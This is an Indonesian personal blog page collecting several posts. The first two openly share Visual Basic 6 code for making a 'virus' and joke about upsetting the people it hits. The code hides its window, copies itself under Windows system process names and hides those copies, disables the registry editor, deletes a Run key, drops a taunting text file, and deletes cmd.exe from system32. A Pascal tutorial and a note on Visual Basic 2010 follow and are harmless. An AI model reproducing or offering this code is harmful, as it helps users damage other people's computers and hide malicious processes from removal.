Code Simple Membuat Virus

Hahay hari semakin panas nih.. Proses pencarian ilmu dcyber masih berlanjut.. gag susah juga ternyata fauzi nyari-nyari code yang berguna untuk berbagi di blog fauzi online... Code untuk membuat virus!! yaaah sebenarnya bikin virus itu menyenangkan, apalagi klo kita sampai bisa bikin orang kebakaran jengot gara2 virus kita hehehehe (mulai mulai Otak jahat dah). Kali ini fauzi mau berbagi sedikit ilmu nih kumpulan code yang sering digunakan untuk bikin virus dengan VB 6..
silahkan dicoba yah (RESIKO TANGGUNG SENDIRI hehehe)

Script Code berikut Masih Menggunakan Standar Exe Di VB
1. Untuk Menyembunyikan Form
Private Sub Form_Load()
App.TaskVisible = False
End Sub

2. Mencopy Dirinya Sendiri
Misalnya mau dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe atau services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows

On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\winlogon.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\csrss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\services.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\smss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\lsass.exe”

3. Membuat Direktori ato folder
Misalnya membuat folder di windows direktori

On Error Resume Next
MkDir "C:\WINDOWS\virus"

4. Mengganti Atribut file
Bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden

Set sembunyi = CreateObject(”Scripting.FileSystemObject”)
On Error Resume Next
sembunyi.GetFile(”C:\WINDOWS\winlogon.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\csrss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\services.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\smss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\lsass.exe”).Attributes = 2

tapi kalo folder pakenya
sembunyi.GetFolder(”C:\WINDOWS\”).Attributes = 2

5. Membuat Pesan Virus
Membuat pesan menggunakan text file

On Error Resume Next
Set bikinpesen = CreateObject(”Scripting.FileSystemObject”)
Set isipesen = bikinpesen.Createtextfile(”C:\baca saya.txt “)
isipesen.writeline (”komputer kamu kena virus bodoh “)
isipesen.Close

6.Mengubah Registry
Misalnya ingin disable regedit

On Error Resume Next
Set ubahreg = CreateObject(”WScript.Shell”)
ubahreg.regwrite “HKEY_CURRENT_USER\software\
microsoft\windows\currentversion\policies\system\
disableregistrytools”, 1, “REG_DWORD”

7.Menghapus Registry
Misalna ingin menhapus HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon

On Error Resume Next
Set hapusreg = CreateObject(”WScript.Shell”)
hapusreg.regdelete “HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon”

Hahahahay udah cukup belum code-codenya? sekarang teman-teman tinggal berkreasi deh menurut selera sama code-code di atas..
hehehehhe kalau teman-teman punya code virus yang ingin ditambahkan.. sharing juga yaah di fauzi-online lewat komentar di bawah... thank you

Membuat Virus Dengan VB 6.0

Liburan lama bangeet iseng punya iseng timbulah ide fauzi untuk membuat coding ga jelas.. Nah kalo udah ngomong-ngomong coding yang ga jelas langsung dah terhubung yang namanya virus.. hehehe yah itung-itung daripada lantangluntung ga ada kerjaan ga jelas dapat coding sederhana nah langsung aja q coba coding vbnya.. AlhasiL inilah proses pembuatannya...

Langkah pertama buka visual basic kamu trus buat new project dengan menggunakan standar.exe, seperti gambar berikut:



Langkah Kedua tambahkan 2 buah label, 1 buah timer dan 1 buah command button pada form seperti gambar berkut:



Langkah Ketiga klik kanan pada form lalu pilih "view source", kemudian copy dan paste kode berikut kedalam jendela kode, nih Code nya:

Private Sub Command1_Click()
Dim targetfile As String
targetfile = "C:\WINDOWS\system32\cmd.exe"
Kill targetfile
Label1.Caption = " Deleting CMD.exe...please wait "
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Label2.Caption = "Done"
End Sub

Private Sub Form_Activate()
Timer1.Enabled = False
End sub

atau lebih jelasnya lihat gambar screen di bawah ini:




Langkah terakhir yaitu Jika semua langkah diatas sudah dilakukan dengan benar, maka selanjutnya tinggal "compile" project melalu menu file>make project.exe




Okay selamat mencoba.. Tapi ingat jangan pernah coba-coba untuk Komputer sendiri yaah.. hehehe namanya juga virus ^____^

Tips "IF Multi Condition"

Sebenarnya  untuk bisa pemrograman Kita tak harus menguasai berbagai bahasa Pemrograman untuk bisa bahasa tersebut, cukup hanya dengan mempelajari Algoritma Pemrograman ditambah aturan penulisan dalam pemrograman tersebut maka kita sudah menguasai bahasa pemrograman tersebut seutuhnya.. hehehe
(sok bisa aja nih fauzi hehehe)

Okay Kembali ke Algoritma Pemrograman, selain berbagi proposal usb sekedar berbagi aja yah sebagai mengidolakan dunia IT, sebenarnya seorang programmer dituntut untuk dapat membuat program sesuai dengan apa yang diinginkan si pemesan. Termasuk membuat program multi kondisi. Program multi kondisi adalah program dimana sebuah variable/lebih harus memenuhi berbagai kondisi yang ditentukan untuk menghasilakan output yang tepat.

Contoh: Jika a adalah genap maka a harus dikali 5 dan jika hasil a dikali 5 kurang dari 100 maka a harus ditambahkan 3 dan dikalikan dengan 6 dan jika hasil a + 3 dikali 6 kurang dari 100 maka proses itu harus diulang (a + 3)*6 sampai nilainya lebih besar atau sama dengan 100

Wadoh, mbaca soalnya ja bingungnya setengah hidup apalagi buat solusinya ya??? Tapi sebagai programmer kita dituntut untuk dapat mengerjakan dan membuat Algoritma serta Programnya. Lalu darimana kita memulai membuat Algoritmanya? mari kita coba membuatnya sama-sama!

a = bilangan genap : Algoritma untuk genap --> a mod 2 = 0
a dikalikan 5 : a * 5 --> misal a * 5 dinyatakan dengan b
b kurang dari 100
a + 3 dan harus dinyatakan dengan a untuk memenuhi kalimat "proses itu harus diulang"
a dikali 6 : a * 6 --> misal dinyatakan dengan c
jika c elbih dari atau sama dengan 100 maka proses selesai

Nah kira-kira begitulah Algoritma sederhana yang saya buat, kita juga bisa membuat Flowchart untuk lebih memudahkan memahami Algoritma tersebut. Bila membuat dengan Flowchart maka bentu multi kondisi (multi condition) akan nampak sangat, tapi bila hanya Algoritma sederhana seperti diatas memang susah untuk menentukan itu multi kondisi atau tidak.

Nah, daripada berbelit-belit dan tambah bingung mendingan kita coba buat program pascal nya aja biar ketahuan, itu multi kondisi atau tidak yah?

uses crt;
var
a,b,c:integer;
d:boolean;
begin
clrscr;
for d:=false to true do
begin
write('Masukkan nilai a: ');readln(a);
if (a mod 2 = 0) then
begin
writeln('Nilai a awal: ',a);
b:= a * 5;
if (b < 100) then begin for d:=false to true do begin a:= a+3;
c:= a*6;
if c >= 100 then
begin
d:=true;
end;
end;
end;
writeln ('Nilai a akhir: ',a);
end else d:=false;
end;
readln;
end.

Mungkin Script program multi kondisi diatas begitu membingungkan, tapi cobalah lihat screenshot script program multi kondisi diatas dalam bentuk yang teratur dan tertata berdasarkan block prosesnya di sini
naah ketauan kan lebih mudah dibaca algoritmanya... hehehe semoga Bermanfaat

Visual Basic 2010

Visual Basic (VB) merupakan software yang sangat jarang ditemui dalam Lomba USB Gunadarma padahal visual basic ini meruapkan salah satu Bahasa Pemrograman Level Atas ( BPTT ) yang masih menjadi primadona. Selain karena bahasanya yang mudah dipelajari, juga karena IDE-nya yang memudahkan Developer dalam bekerja. Bukan hanya itu, pop up reference code (Aden nyebutnya gitu) yang muncul sangat membantu bagi Pemula yang belajar coding Lingkungan Visual Basic. Udah ah kok malah mbahas Keunggulan VB sich?? kan teman-teman dah tau lebih juga hehehe

Sebenernya gini Teman-teman, kenapa VB harus downgrade dari Windows 7 ke XP. Kenapa kok musti di Downgrade? tentunya alasannya klasik sekali yaitu karena Windows 7 belum mendukung beberapa Software terutama untuk beberapa IDE Programming Languange tertentu seperti VB 6 yang beberapa waktu lalu aku install, mesti sukses namun ketika mau menambahkan Component Data Control (ADODC) pada Visual Basic IDE ternyata tidak mau meski instalasi berjalan lancar.

Akhirnya coba dech cari Visual Basic yang pro dengan Windows 7 dan akhirnya menemukan, dan yang lebih menyenangkan lagi ternyata malah menemukan yang tidak dicari yaitu Visual Basic 2010 Free resmi dari situs Microsoft (Beta Version).